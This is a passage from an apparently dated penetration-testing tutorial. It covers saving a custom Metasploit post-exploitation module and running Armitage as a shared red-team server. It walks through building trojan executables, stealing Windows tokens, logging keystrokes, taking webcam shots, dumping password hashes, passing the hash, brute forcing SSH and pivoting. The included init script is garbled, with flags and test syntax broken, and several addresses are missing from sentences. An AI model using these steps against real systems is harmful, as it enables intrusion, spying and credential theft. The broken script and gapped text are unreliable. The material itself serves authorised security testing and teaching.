p = store_loot(“host.applications”, “text/plain”, session, results, “applications.txt”, “Installed Applications”)

print_status(“Results stored in: #{p}”)


def run

print_status(“Enumerating applications installed on #{sysinfo[‘Computer’]}”)




The last few lines of the script is used for storing the information in a separate text file called applications.txt. The file is populated by using the store_loot function which stores the complete table in the text file.

Finally an output is displayed on the screen stating that the file has been created and results have been stored in it.

The next step will be to store the complete program in respective directory. You have to makes sure that you choose the correct directory for storing your module. This will help the framework in clearly understanding the utility of module and will maintain a hierarchy.

To identify the location of module storage, there are following points you should look at:

Type of module

Operation performed by the module

Affected software or operating system.

These are a few points to keep in mind before you save any module in any folder. Let us consider our module. This module is a post exploitation module that is used to enumerate a windows operating system and gathers information about the system. So our module should follow this convention for storing.

So our destination folder should be modules/post/windows/gather/.

You can save the module with your desired name and with a .rb extension. Let’s save it as enum_applications.rb.

Making the Module work

Once we have saved the module in its preferred directory, the next step will be to execute it and see if it is working fine.

msf> use post/windows/gather/enum_applications

msf post(enum_applications) > show options

Module options (post/windows/gather/enum_applcations)

Name Current Setting Required Description

SESSION yes The session..

This was a small example of how you can build and add your own module to the framework. You definitely need a sound knowledge of Ruby scripting if you want to build good modules. You can also contribute to the metasploit community by releasing your module and let others benefit from it.


How to Use Multiplayer Metasploit with Armitage

How to Use Multiplayer 

Metasploit with Armitage


Metasploit is a very cool tool to use in your penetration testing: add Armitage for a really good time. Penetration test engagements are more and more often a collaborative effort with teams of talented security practitioners rather than a solo effort.

Armitage is a scriptable red team (that is what the offensive security teams are called) collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework.

Through one Metasploit/Armitage Server instance, your team can:

Use the same sessions

Share hosts, captured data, and downloaded files

Communicate through a shared event log (very similar to a IRC chat if you are familiar with those)

Run bots to automate red team tasks

What you should know

To get the most of this article you should have a working (and preferably updated) BackTrack 5 R3 system, 32-bit or 64-bit shouldn’t matter but I personally run a 32-bit system in a virtual machine.

This article makes extensive use of the command line so you should preferably be familiar with that. You should also have a workstation that can run the Armitage java GUI, which either can be the BackTrack computer in X-windows or a separate computer running Linux, OSX or Windows which can reach the BackTrack machine via the network.

Armitage’s red team collaboration setup is CPU sensitive and it likes RAM. Make sure you give the virtual machine (or physical machine) at least 1.5GB of RAM to your BackTrack 5 R3 team server.

What you will learn

After reading this article you should know how to run a Armitage server and have several clients connected to it for multiplayer Metasploit, meaning running red teams with more than a single member on the same Metasploit server.


I will base this article on BackTrack 5 R3, so get that from After you have downloaded and booted it you need to start with connecting it to the network and update Metasploit Framework. The default username/password for BackTrack 5 is ”root” / ”toor”(”root” spelled backwards).

Update BackTrack and Metasploit

Before we begin we should update BackTrack to get the latest fixes by running

# apt-get update

# apt-get dist-upgrade

We should also update the Metasploit Framework by running

# msfupdate

Once that is done we are ready to get Armitage running.

Configuring Armitage

Before you can use Armitage you need to configure it and make sure it is running (and create startup-scripts so it is always started when the system boots up).

To begin with we need a shared secret (also known as a password) that is the gatekeeper between your Armitage server and its clients. Anyone who knows this password can access your server and access the results your have collected, including active sessions. Take care when choosing this password, although for this article I will chose a password that is not considered secure but is easy to read.

Manually start Armitage Teamserver

To manually start Armitage Teamserver you first need to move to the Armitage directory which is (in BackTrack 5 R3) /opt/metasploit/msf3/data/armitage by running:

# cd /opt/metasploit/msf3/data/armitage

And then to start the Armitage Teamserver you need to run ./teamserver <my-ip-address> <password> like this:

# ./teamserver MySecretPassword

Creating start-up scripts for Armitage

To start the Armitage Team Server for true multi-player Metasploit you need to create a startup script. As of this moment the correct way to start a Armitage team server on BackTrack 5 R3 is like this: Listing 1.

Listing 1a. Updating the Metasploit Framework

#! /bin/sh


# Provides: armitage-teamserver

# Required-Start:

# Required-Stop:

# Default-Start: 2 3 4 5

# Default-Stop: 0 1 6

# Short-Description: Armitage TeamServer

# Description: Armitage TeamServer for true Multiplayer Metasploit



# Author: Michael Boman <>



DESC=”Armitage TeamServer”




DAEMON_ARGS=” MySecretPassword”



# Exit if the package is not installed

[x “$DAEMON” ] || exit 0

# Read configuration variable file if it is present

[r /etc/default/$NAME ] && . /etc/default/$NAME

# Load the VERBOSE setting and other rcS variables

. /lib/init/

# Define LSB log_* functions.

# Depend on lsb-base (>= 3.0-6) to ensure that this file is present.

. /lib/lsb/initfunctions


# Function that starts the daemon/service




# Return

# 0 if daemon has been started

# 1 if daemon was already running

# 2 if daemon could not be started

startstopdaemonstartquietpidfile $PIDFILEexec $DAEMONchdir $ARMITAGE_DIRtest > /dev/null

|| return 1

startstopdaemonstartquietpidfile $PIDFILEexec $DAEMONchdir


|| return 2



# Function that stops the daemon/service




# Return

# 0 if daemon has been stopped

# 1 if daemon was already stopped

# 2 if daemon could not be stopped

# other if a failure occurred

startstopdaemonstopquietretry=TERM/30/KILL/5pidfile $PIDFILEname $NAME


[ “$RETVAL” = 2 ] && return 2

# Wait for children to finish too if this is a daemon that forks

# and if the daemon is only ever run from this initscript.

# If the above conditions are not satisfied then add some other code

# that waits for the process to drop all resources that could be

# needed by services started subsequently. A last resort is to

# sleep for some time.

startstopdaemonstopquietoknodoretry=0/30/KILL/5exec $DAEMON

[ “$?” = 2 ] && return 2

# Many daemons don’t delete their pidfiles when they exit.


return “$RETVAL”



# Function that sends a SIGHUP to the daemon/service


do_reload() {


# If the daemon can reload its configuration without

# restarting (for example, when it is sent a SIGHUP),

# then implement that here.


startstopdaemonstopsignal 1quietpidfile $PIDFILEname $NAME

return 0


case “$1” in


[ “$VERBOSE” != no ] && log_daemon_msg “Starting $DESC” “$NAME”


case “$?” in

0|1) [ “$VERBOSE” != no ] && log_end_msg 0 ;;

2) [ “$VERBOSE” != no ] && log_end_msg 1 ;;



[ “$VERBOSE” != no ] && log_daemon_msg “Stopping $DESC” “$NAME”


case “$?” in

0|1) [ “$VERBOSE” != no ] && log_end_msg 0 ;;

2) [ “$VERBOSE” != no ] && log_end_msg 1 ;;




status_of_proc “$DAEMON” “$NAME” && exit 0 || exit $?




# If do_reload() is not implemented then leave this commented out

# and leave ‘force-reload’ as an alias for ‘restart’.


#log_daemon_msg “Reloading $DESC” “$NAME”


#log_end_msg $?




# If the “reload” option is implemented then remove the

# ‘force-reload’ alias


log_daemon_msg “Restarting $DESC” “$NAME”


case “$?” in



case “$?” in

0) log_end_msg 0 ;;

1) log_end_msg 1 ;; # Old process is still running

*) log_end_msg 1 ;; # Failed to start




# Failed to stop

log_end_msg 1





echo “Usage: $SCRIPTNAME {start|stop|status|restart|force-reload}” >&2

exit 3




Start Armitage server automatically at boot

Add the Armitage to automatically start at boot with the following command:

# update-rc.d armitage-teamserver defaults

Using Armitage

Connecting Armitage client to the Server.

Using Armitage GUI

The Armitage GUI has three main panels: modules (top to the left), targets (top to the right) and tabs (bottom), which can be resized to your liking.


The module browser lets you launch a Metasploit auxiliary module, throw an exploit, generate a payload, and run a post-exploitation module. Click through the tree to find the desired module. Double-click the module to open a module launch dialog.

Armitage will configure the module to run against the selected hosts. This works for auxiliary modules, exploits, and post modules.


Figure 1. Armitage client connection window

Running a module against multiple hosts is one of the big advantages of Armitage. In the Metasploit console, you must configure and launch an exploit and post modules for each host you’re working with while in the Armitage GUI most of the module settings are already populated.

You can search modules too. Click in the search box below the tree, type a wildcard expression (e.g., ssh_*), and press enter. The module tree will show the search results, expanded for quick viewing. Clear the search box and press enter to restore the module browser to its original state.

Targets – Graph View

The targets panel shows your targets to you. Armitage represents each target as a computer with its IP address and other information about it below the computer. The computer screen shows the operating system the computer is running (Figure 2).


Figure 2. Description of the Armitage user interface

A red computer with electrical jolts indicates a compromised host.

A directional green line indicates a pivot from one host to another. Pivoting allows Metasploit to route attacks and scans through intermediate hosts. A bright green line indicates the pivot communication path is in use.

Click a host to select it. You may select multiple hosts by clicking and dragging a box over the desired hosts.

Right-click a host to bring up a menu with available options. The attached menu will show attack and login options, menus for existing sessions, and options to edit the host information.

The login menu is only available after a port scan reveals open ports that Metasploit can use. The Attack menu is only available after finding attacks through the Attacks menu at the top of Armitage. Shell and Meterpreter menus show up when a shell or Meterpreter session exists on the selected host.

Several keyboard shortcuts are available in the targets panel. To edit these, go to Armitage -> Preferences.

Ctrl Plus – zoom in

Ctrl Minus – zoom out

Ctrl 0 – reset the zoom level

Ctrl A – select all hosts

Escape – clear selection

Ctrl C – arrange hosts into a circle

Ctrl S – arrange hosts into a stack

Ctrl H – arrange hosts into a hierarchy. This only works when a pivot is set up.

Ctrl P – export hosts into an image

Right-click the target area with no selected hosts to configure the layout and zoom level of the target area.

Targets – Table View

If you have a lot of hosts, the graph view becomes difficult to work with. For this situation Armitage has a table view. Go to Armitage -> Set Target View -> Table View to switch to this mode. Armitage will remember your preference (Figure 3).


Figure 3. Your preferences stored in Armitage

Click any of the table headers to sort the hosts. Highlight a row and right-click it to bring up a menu with options for that host.

Armitage will highlight the IP address of any host with sessions. If a pivot is in use, Armitage will make it bold as well.


Armitage opens each dialog, console, and table in a tab below the module and target panels. Click the X button to close a tab.

You may right-click the X button to open a tab in a window, take a screenshot of a tab, or close all tabs with the same name (Figure 4).


Figure 4. Tabs management

Hold shift and click X to close all tabs with the same name. Hold shift + control and click X to open the tab in its own window.

You may drag and drop tabs to change their order.

Armitage provides several keyboard shortcuts to make your tab management experience as enjoyable as possible. Use Ctrl+T to take a screenshot of the active tab. Use Ctrl+D to close the active tab. Try Ctrl+Left and Ctrl+Right to quickly switch tabs. And Ctrl+W to open the current tab in its own window.


Metasploit console, Meterpreter console, and shell interfaces each use a console tab. A console tab lets you interact with these interfaces through Armitage.

The console tab tracks your command history. Use the up arrow to cycle through previously typed commands. The down arrow moves back to the last command you typed.

In the Metasploit console, use the Tab key to complete commands and parameters. This works just like the Metasploit console outside of Armitage.

Use Ctrl Plus to make the console font size larger, Ctrl Minus to make it smaller, and Ctrl 0 to reset it. This change is local to the current console only. Visit Armitage -> Preferences to permanently change the font.

Press Ctrl F to show a panel that will let you search for text within the console.


Use Ctrl A to select all text in the console’s buffer. Armitage sends a use or a set PAYLOAD command if you click a module or a payload name in a console.

To open a Console go to View -> Console or press Ctrl+N.

On MacOS X and Windows, you must click in the edit box at the bottom of the console to type. Linux doesn’t have this problem. Always remember, the best Armitage experience is on Linux.

The Armitage console uses color to draw your attention to some information. To disable the colors, set the console.show_colors.boolean preference to false. You may also edit the colors through Armitage -> Preferences. Here is the Armitage color palette and the preference associated with each color: Figure 5.


Figure 5. Armitage color palette


Armitage logs all console, shell, and event log output for you. Armitage organizes these logs by date and host. You’ll find these logs in the ~/.armitage folder. Go to View -> Reporting -> Acitivity Logs to open this folder.

Armitage also saves copies of screenshots and webcam shots to this folder.

Change the armitage log_everything boolean preference key to false to disable this feature.

Edit the armitage log_data_here folder to set the folder where Armitage should log everything to.

Export Data

Armitage and Metasploit share a database to track your hosts, services, vulnerabilities, credentials, loots, and user-agent strings captured by browser exploit modules.

To get this data, go to View -> Reporting -> Export Data. This option will export data from Metasploit and create easily parsable XML and tab separated value (TSV) files.

Host Management

Dynamic Workspaces

Armitage’s dynamic workspaces feature allows you to create views into the hosts’ database and quickly switch between them. Use Workspaces -> Manage to manage your dynamic workspaces. Here you may add, edit and remove workspaces you create (Figure 6).


Figure 6. Managing your dynamic workspaces

To create a new dynamic workspace, press Add. You will see the following dialog: Figure 7.


Figure 7. Creating a new dynamic workspace

Give your dynamic workspace a name. It doesn’t matter what you call it. This description is for you.

If you’d like to limit your workspace to hosts from a certain network, type a network description in the Hosts field. A network description might be: to display hosts between Separate multiple networks with a comma and a space.

You can cheat with the network descriptions a little. If you type:, Armitage will assume you mean If you type:, Armitage will assume you mean

Fill out the Ports field to include hosts with certain services. Separate multiple ports using a comma and a space.

Use the OS field to specify which operating system you’d like to see in this workspace. You may type a partial name, such as “indows”. Armitage will only include hosts whose OS name includes the partial name. This value is not case sensitive. Separate multiple operating systems with a comma and a space.

Select Hosts with sessions only to only include hosts with sessions in this dynamic workspace.

You may specify any combination of these items when you create your dynamic workspace.

Each workspace will have an item in the Workspaces menu. Use these menu items to switch between workspaces. You may also use Ctrl+1 through Ctrl+9 to switch between your first nine workspaces.

Use Workspaces -> Show All or Ctrl+Backspace to display the entire database.

Armitage will only display 512 hosts at any given time, no matter how many hosts are in the database. If you have thousands of hosts, use this feature to segment your hosts into useful target sets.

Importing Hosts

To add host information to Metasploit, you may import it. The Hosts -> Import Hosts menu accepts the following files:

Acunetix XML

Amap Log

Amap Log -m

Appscan XML

Burp Session XML

Foundstone XML


IP360 XML v3

Microsoft Baseline Security Analyzer

Nessus NBE

Nessus XML (v1 and v2)

NetSparker XML

NeXpose Simple XML

NeXpose XML Report

Nmap XML

OpenVAS Report

Qualys Asset XML

Qualys Scan XML

Retina XML

You may manually add hosts with Hosts -> Add Hosts.

NMap Scans

You may also launch an NMap scan from Armitage and automatically import the results into Metasploit. The Hosts ->NMap Scan menu has several scanning options.

Optionally, you may type db_nmap in a console to launch NMap with the options you choose.

NMap scans do not use the pivots you have set up.

MSF Scans

Armitage bundles several Metasploit scans into one feature called MSF Scans. This feature will scan for a handful of open ports. It then enumerates several common services using Metasploit auxiliary modules built for the purpose.

Highlight one or more hosts, right-click, and click Scan to launch this feature. You may also go to Hosts -> MSF Scans to launch these as well.

These scans work through a pivot and against IPv6 hosts as well. These scans do not attempt to discover if a host is alive before scanning. To save time, you should do host discovery first (e.g. an ARP scan, ping sweep, or DNS enumeration) and then launch these scans to enumerate the discovered hosts.

DNS Enumeration

Another host discovery option is to enumerate a DNS server. Go to Hosts -> DNS Enum to do this. Armitage will present a module launcher dialog with several options. You will need to set the DOMAIN option to the domain you want to enumerate. You may also want to set NS to the IP address of the DNS server you’re enumerating.

If you’re attacking an IPv6 network, DNS enumeration is one option to discover the IPv6 hosts on the network.

Database Maintenance

Metasploit logs everything you do to a database. Over time your database will become full of stuff. If you have a performance problem with Armitage, try clearing your database. To do this, go to Hosts -> Clear Database.


Remote Exploits

Before you can attack, you must choose your weapon. Armitage makes this process easy. Use Attacks -> Find Attacks to generate a custom Attack menu for each host. To exploit a host: right-click it, navigate to Attack, and choose an exploit. To show the right attacks, make sure the operating system is set for the host.

The Attack menu limits itself to exploits that meet a minimum exploit rank of great. Some useful exploits are ranked good and they won’t show in the attack menu. You can launch these using the module browser.

Use Armitage -> Set Exploit Rank to change the minimum exploit rank.

Optionally, if you’d like to see hosts that are vulnerable to a certain exploit, browse to the exploit in the module browser. Right-click the module. Select Relevant Targets. Armitage will create a dynamic workspace that shows hosts that match the highlighted exploit. Highlight all of the hosts and double-click the exploit module to attack all of them at once.

Which exploit?

Learning which exploits to use and when comes with experience. Some exploits in Metasploit implement a check function. These check functions connect to a host and check if the exploit applies. Armitage can use these check functions to help you choose the right exploit when there are many options. For example, targets listening on port 80 will show several web application exploits after you use Find Attacks. Click the Check exploits menu to run the check command against each of these. Once all the checks are complete, press Ctrl F and search for vulnerable hosts. This will lead you to the right exploit (Figure 8).


Figure 8. Finding the right exploit

Clicking a host and selecting Services is another way to find an exploit. If you have NMap scan results, look at the information field and guess which server software is in use. Use the module browser to search for any Metasploit modules related to that software. One module may help you find information required by another exploit. Apache Tomcat is an example of this. The tomcat_mgr_login module will search for a username and password that you can use. Once you have this, you can launch the tomcat_mgr_deploy exploit to get a shell on the host.

Launching Exploits

Armitage uses this dialog to launch exploits: Figure 9.


Figure 9. Launching exploits

The exploit launch dialog lets you configure options for a module and choose whether to use a reverse connect payload.

Armitage presents options in a table. Double-click the value to edit it. If an option requires a filename, double-click the option to open up a file chooser dialog. You may also check Show advanced options to view and set advanced options.

If you see SOMETHING + in a table, this means you can double-click that item to launch a dialog to help you configure its value. This convention applies to the module launcher and preferences dialogs.

Some penetration testers organize their targets into text files to make them easier to track. Armitage can make use of these files too. Double-click RHOST + and select your targets file. The file must contain one IP address per line. This is an easy way to launch an attack or action against all of those hosts.

For remote exploits, Armitage chooses your payload for you. Generally, Armitage will use Meterpreter for Windows targets and a command shell payload for UNIX targets.

Click Launch to run the exploit. If the exploit is successful, Armitage will make the host red and surround it with lightning bolts. Metasploit will also print a message to any open consoles.

Automatic Exploitation

If manual exploitation fails, you have the hail mary option. Attacks -> Hail Mary launches this feature. Armitage’s Hail Mary feature is a smart db_autopwn. It finds exploits relevant to your targets, filters the exploits using known information, and then sorts them into an optimal order.

This feature won’t find every possible shell, but it’s a good option if you don’t know what else to try.

Client-side Exploits

Through Armitage, you may use Metasploit’s client-side exploits. A client-side attack is one that attacks an application and not a remote service. If you can’t get a remote exploit to work, you’ll have to use a client-side attack.

Use the module browser to find and launch client-side exploits. Search for fileformat to find exploits that trigger when a user opens a malicious file. Search for browser to find exploits that server browser attacks from a web server built into Metasploit.

Client-side Exploits and Payloads

If you launch an individual client-side exploit, you have the option of customizing the payload that goes with it. Armitage picks same defaults for you.

In a penetration test, it’s usually easy to get someone to run your evil package. The hard part is to get past network devices that limit outgoing traffic. For these situations, it helps to know about meterpreter’s payload communication options. There are payloads that speak HTTP, HTTPS, and even communicate to IPv6 hosts. These payloads give you options in a tough egress situation.

To set the payload, double-click PAYLOAD in the option column of the module launcher. This will open a dialog asking you to choose a payload (Figure 10).


Figure 10. Choosing a payload

Highlight a payload and click Select. Armitage will update the PAYLOAD, DisablePayloadHandler, ExitOnSession,LHOST, and LPORT values for you. You’re welcome to edit these values as you see fit.

If you select the Start a handler for this payload option, Armitage will set the payload options to launch a payload handler when the exploit launches. If you did not select this value, you’re responsible for setting up a multi/handler for the payload.

Payload Handlers

A payload handler is a server that runs in Metasploit. Its job is to wait for a payload to connect to your Metasploit and establish a session.

To quickly start a payload handler, navigate to Armitage -> Listeners. A bind listener attempts to connect to a payload listening for a connection. A reverse listener waits for the payload to connect back to you.

You may set up shell listeners to receive connections from netcat.

Go to View -> Jobs to see which handlers are running.

Generate a Payload

Exploits are great, but don’t ignore the simple stuff. If you can get a target to run a program, then all you need is an executable. Armitage can generate an executable from any of Metasploit’s payloads. Choose a payload in the module browser, double-click it, select the type of output, and set your options. Once you click launch, a save dialog will ask you where to save the file to (Figure 11).


Figure 11. Saving the file

To create a Windows trojan binary, set the output type to exe. Set the Template option to a Windows executable. Set KeepTemplateWorking if you’d like the template executable to continue to work as normal. Make sure you test the resulting binary. Some template executables will not yield a working executable.

Remember, if you have a payload, it needs a handler. Use the multi/handler output type to create a handler that waits for the payload to connect. This option offers more flexibility and payload options than the Armitage ->Listeners menu.

If you plan to start a handler and then generate a payload, here’s a tip that will save you some time. First, configure a multi/handler as described. Hold down Shift when you click Launch. This will tell Armitage to keep the module launch dialog open. Once your handler is started, change the output type to the desired value, and click Launch again. This will generate the payload with the same values used to create the multi/handler.

Post Exploitation

Managing Sessions

Armitage makes it easy to manage the meterpreter agent once you successfully exploit a host. Hosts running a meterpreter payload will have a Meterpreter N menu for each Meterpreter session (Figure 12).


Figure 12. Meterpreter menu

If you have shell access to a host, you will see a Shell N menu for each shell session. Right-click the host to access this menu. If you have a Windows shell session, you may go to Shell N -> Meterpreter to upgrade the session to a Meterpreter session. If you have a UNIX shell, go to Shell N -> Upload to upload a file using the UNIX printf command.

Privilege Escalation

Some exploits result in administrative access to the host. Other times, you need to escalate privileges yourself. To do this, use the Meterpreter N -> Access -> Escalate Privileges menu. This will highlight the privilege escalation modules in the module browser.

Try the getsystem post module against Windows XP/2003 era hosts.

Token Stealing

Another privilege escalation option is token stealing. When a user logs onto a Windows host, a token is generated and acts like a temporary cookie to save the user the trouble of retyping their password when they try to access different resources. Tokens persist until a reboot. You may steal these tokens to assume the rights of that user.

To see which tokens are available to you, go to Meterpreter N -> Access -> Steal Token. Armitage will present a list of tokens to you. Click Steal Token to steal one.

If you want to revert to your original token, press Revert to Self. The Get UID button shows your current user ID.

Session Passing

Once you exploit a host, duplicating your access should be a first priority. Meterpreter N -> Access -> Pass Session will inject meterpreter into memory and execute it for you. By default this option is configured to call back to Armitage’s default Meterpreter listener. Just click Launch.

You may also use Pass Session to send Meterpreter to a friend. Set LPORT and LHOST to the values of their Meterpreter multi/handler.

If your friend uses Armitage, have them type set in a Console tab and report the LHOST and LPORT values to you. These are the values for their default Meterpreter listener.

File Browser

Meterpreter gives you several options for exploring a host once you’ve exploited it. One of them is the file browser. This tool will let you upload, download, and delete files. Visit Meterpreter N -> Explore -> Browse Files to access the File Browser.

Right-click a file to download or delete it. If you want to delete a directory, make sure it’s empty first.

You may download entire folders or individual files. Go to View -> Downloads to access your downloaded files.

If you have system privileges, you may modify the file timestamps using the File Browser. Right-click a file or directory and go to the Timestamp menu. This features works like a clipboard. Use Get MACE Values to capture the timestamps of the current file. Right-click another file and use Set MACE Values to update the timestamps of that file.

Command Shell

You can reach a command shell for a host through Meterpreter N -> Interact -> Command Shell. The Meterpreter shell is also available under the same parent menu.

Navigating to the Meterpreter N menu for each action gets old fast. Right-click inside the Meterpreter shell window to see the Meterpreter N menu items right away.

Close the command shell tab to kill the process associated with the command shell.


To interact with a desktop on a target host, go to Meterpreter N -> Interact -> Desktop (VNC). This will stage a VNC server into the memory of the current process and tunnel the connection through Meterpreter. Armitage will provide you the details to connect a local VNC client to your target.

Screenshots and Webcam Spying

To grab a screenshot use Meterpreter N -> Explore -> Screenshot. There is a Webcam Shot option in the same location. This option snaps a frame from the user’s webcam.

Right-click a screenshot or webcam shot image to change the zoom for the tab. This zoom preference will stay, even if you refresh the image. Click Refresh to update the screenshot or grab another frame from the webcam. ClickWatch (10s) to automatically snap a picture every ten seconds.

Process Management and Key Logging

Go to Meterpreter N -> Explore -> Show Processes to see a list of processes on your victim. Use Kill to kill the highlighted processes.

Meterpreter runs in memory. It’s possible to move Meterpreter from one process to another. This is called migration. Highlight a process and click Migrate to migrate to another process. Your session will have the permissions of that process.

While in a process, it’s also possible to see keystrokes from the vantage point of that process. Highlight a process and click Log Keystrokes to launch a module that migrates meterpreter and starts capturing keystrokes. If you key log from explorer.exe you will see all of the keys the user types on their desktop.

If you choose to migrate a process for the purpose of key logging, you should duplicate your session first. If the process Meterpreter lives in closes, your session will go away.

Post-exploitation Modules

Metasploit has several post-exploitation modules too. Navigate the post branch in the module browser. Double-click a module and Armitage will show a launch dialog. Armitage will populate the module’s SESSION variable if a compromised host is highlighted. Each post-exploitation module will execute in its own tab and present its output to you there.

To find out which post modules apply for a session: right-click a compromised host and navigate to Meterpreter N ->Explore -> Post Modules or Shell N -> Post Modules. Clicking this menu item will show all applicable post modules in the module browser.

Metasploit saves post-exploitation data into a Loot database. To view this data go to View -> Loot.

You may highlight multiple hosts and Armitage will attempt to run the selected post module against all of them. Armitage will open a new tab for the post module output of each session. This may lead to a lot of tabs. Hold down shift and click X on one of the tabs to close all tabs with the same name.



Metasploit can launch attacks from a compromised host and receive sessions on the same host. This ability is called pivoting.

To create a pivot, go to Meterpreter N -> Pivoting -> Setup…. A dialog will ask you to choose which subnet you want to pivot through the session.

Once you’ve set up pivoting, Armitage will draw a green line from the pivot host to all targets reachable by the pivot you created. The line will become bright green when the pivot is in use.

To use a pivot host for a reverse connection, set the LHOST option in the exploit launch dialog to the IP address of the pivot host.

Scanning and External Tools

Once you accessed a host, it’s good to explore and see what else is on the same network. If you’ve set up pivoting, Metasploit will tunnel TCP connections to eligible hosts through the pivot host. These connections must come from Metasploit.

To find hosts on the same network as a compromised host, right-click the compromised host and go to Meterpreter N-> ARP Scan or Ping Sweep. This will show you which hosts are alive. Highlight the hosts that appear, right-click, and select Scan to scan these hosts using Armitage’s MSF Scan feature. These scans will honor the pivot you set up.

External tools (e.g., nmap) will not use the pivots you’ve set up. You may use your pivots with external tools through a SOCKS proxy though. Go to Armitage -> SOCKS Proxy… to launch the SOCKS proxy server.

The SOCKS4 proxy server is one of the most useful features in Metasploit. Launch this option and you can set up your web browser to connect to websites through Metasploit. This allows you to browse internal sites on a network like you’re local. You may also configure proxychains on Linux to use almost any program through a proxy pivot.

Password Hashes

To collect Windows password hashes, visit Meterpreter N -> Access -> Dump Hashes. You need administrative privileges to do this.

There are two hash dumping options. One is the lsass method and the other is the registry method. The lsass method attempts to grab the password hashes from memory. This option works well against Windows XP/2003 era hosts. The registry method works well against modern Windows systems.

You may view collected hashes through View -> Credentials. For your cracking pleasure, the Export button in this tab will export credentials in pwdump format. You may also use the Crack Passwords button to run John the Ripper against the hashes in the credentials database.


When you login to a Windows host, your password is hashed and compared to a stored hash of your password. If they match, you’re in. When you attempt to access a resource on the same Windows domain, the stored hash is sent to the other host and used to authenticate you. With access to these hashes, you can use this mechanism to take over other hosts on the same domain. This is called a pass-the-hash attack.

Use Login -> psexec to attempt a pass-the-hash attack against another Windows host. Click Check all Credentials to have Armitage try all hashes and credentials against the host.

The pass-the-hash attack attempts to upload a file and create a service that immediately runs. Only administrator users can do this. Further, your targets must be on the same active directory domain for this attack to work.

Using Credentials

Armitage will create a Login menu on each host with known services. Right-click a host and navigate to Login ->service. This will open a dialog where you may choose a username and password from the credentials known to Metasploit.

Some services (e.g. telnet and ssh) will give you a session when a login succeeds. Others will not.

Check the Try all credentials option and Metasploit will login to the service with each of the known credentials. Metasploit automatically adds each successful login to the credentials table for you.

The best way into a network is through valid credentials. Remember that a successful username/password combination from one service may give you access to another host that you couldn’t exploit.

Password Brute Force

Metasploit can attempt to guess a username and password for a service for you. This capability is easy to use through the module browser.

Metasploit supports brute forcing through the auxiliary modules named service_login. Type login in the module browser to search for them.

To brute force a username and password over SSH, browse to auxiliary/scanner/ssh/ssh_login in the modules panel and double-click it.

If you know the username, set the USERNAME variable. If you’d like Metasploit to brute force the username, select a value for USER_FILE. Double-click the USER_FILE variable to bring up a file chooser where you can select a text file containing a list of usernames.

Metasploit has many files related to brute forcing in the [metasploit install]/data/wordlists directory.

Set the PASS_FILE variable to a text file containing a list of passwords to try.

If you’re only brute forcing one host and you have a lot of usernames/passwords to try, I recommend using an external tool like Hydra. Metasploit does not make several parallel connections to a single host to speed up the process. This lesson can be taken one step further – use the right tool for each job.

Remote Metasploit

Remote Connections

You can use Armitage to connect to an existing Metasploit instance on another host. Working with a remote Metasploit instance is similar to working with a local instance. Some Armitage features require read and write access to local files to work. Armitage’s deconfliction server adds these features and makes it possible for Armitage clients to use Metaspoit remotely.

Connecting to a remote Metasploit requires starting a Metasploit RPC server and Armitage’s deconfliction server. With these two servers set up, your use of Metasploit will look like this diagram: Figure 13.


Figure 13. Your usage of Metasploit with Metasploit RPC server and Armitage’s deconfliction server

Multi-Player Metasploit Setup

The Armitage Linux package comes with a teamserver script that you may use to start Metasploit’s RPC daemon and Armitage’s deconfliction server with one command. To run it:

cd /path/to/metasploit/msf3/data/armitage

./teamserver [external IP address] [password]

This script assumes armitage.jar is in the current folder. Make sure the external IP address is correct (Armitage doesn’t check it) and that your team can reach port 55553 on your attack host. That’s it.

Metasploit’s RPC daemon and the Armitage deconfliction server are not GUI programs. You may run these over SSH.

The Armitage team server communicates over SSL. When you start the team server, it will present a server fingerprint. This is a SHA-1 hash of the server’s SSL certificate. When your team members connect, Armitage will present the hash of the certificate the server presented to them. They should verify that these hashes match.

Do not connect to when a teamserver is running. Armitage uses the IP address you’re connecting to determine whether it should use SSL (teamserver, remote address) or non-SSL (msfrpcd, localhost). You may connect Armitage to your teamserver locally, use the [external IP address] in the Host field.

Armitage’s red team collaboration setup is CPU sensitive and it likes RAM. Make sure you have 1.5GB of RAM in your team server.

Multi-Player Metasploit

Armitage’s red team collaboration mode adds a few new features. These are described here:

View -> Event Log opens a shared event log. You may type into this log and communicate as if you’re using an IRC chat room. In a penetration test this event log will help you reconstruct major events (Figure 14).


Figure 14. The event log

Multiple users may use any Meterpreter session at the same time. Each user may open one or more command shells, browse files, and take screenshots of the compromised host.

Metasploit shell sessions are automatically locked and unlocked when in use. If another user is interacting with a shell, Armitage will warn you that it’s in use.

Some Metasploit modules require you to specify one or more files. If a file option has a + next to it, then you may double-click that option name to choose a local file to use. Armitage will upload the chosen local file and set the option to its remote location for you. Generally, Armitage will do its best to move files between you and the shared Metasploit server to create the illusion that you’re using Metasploit locally.

Penetration testers will find this feature invaluable. Imagine you’re working on a pen test and come across a system you don’t know much about. You can reach back to your company and ask your local expert to load Armitage and connect to the same Metasploit instance. They will immediately have access to your scan data and they can interact with your existing sessions… seamlessly.

Or, imagine that you’re simulating a phishing attack and you get access to a host. Your whole team can now work on the same host. One person can search for data, another can set up a pivot and search for internal hosts to attack, and another can work on persistence. The sky is the limit here.

Some meterpreter commands may have shortened output. Multi-player Armitage takes the initial output from a command and delivers it to the client that sent the command. Additional output is ignored (although the command still executes normally). This limitation primarily affects long running meterpreter scripts.

Scripting Armitage


Armitage includes Cortana, a scripting technology developed through DARPA’s Cyber Fast Track program. With Cortana, you may write red team bots and extend Armitage with new features. You may also make use of scripts written by others.

Cortana is based on Sleep, an extensible Perl-like language. Cortana scripts have a .cna suffix.

Read the Cortana Tutorial to learn more about how to develop bots and extend Armitage (Figure 15).


Figure 15. The Cortana Tutorial

Stand-alone Bots

A stand-alone version of Cortana is distributed with Armitage. You may connect the stand-alone Cortana interpreter to an Armitage team server.

Here’s a helloworld.cna Cortana script:

on ready { println(“Hello World!”); quit(); }

To run this script, you will need to start Cortana. First, stand-alone Cortana must connect to a team server. The team server is required because Cortana bots are another red team member.
If you want to connect multiple users to Metasploit, you have to start a team server.

Next, you will need to create a connect.prop file to tell Cortana how to connect to the team server you started. Here’s an example connect.prop file:

host= port=55553 user=msf pass=password nick=MyBot

Now, to launch your bot:

cd /path/to/metasploit/msf3/data/armitage

java -jar cortana.jar connect.prop helloworld.cna

Script Management

You don’t have to run Cortana bots stand-alone. You may load any bot into Armitage directly. When you load a bot into Armitage, you do not need to start a teamserver. Armitage is able to deconflict its actions from any loaded bots on its own.

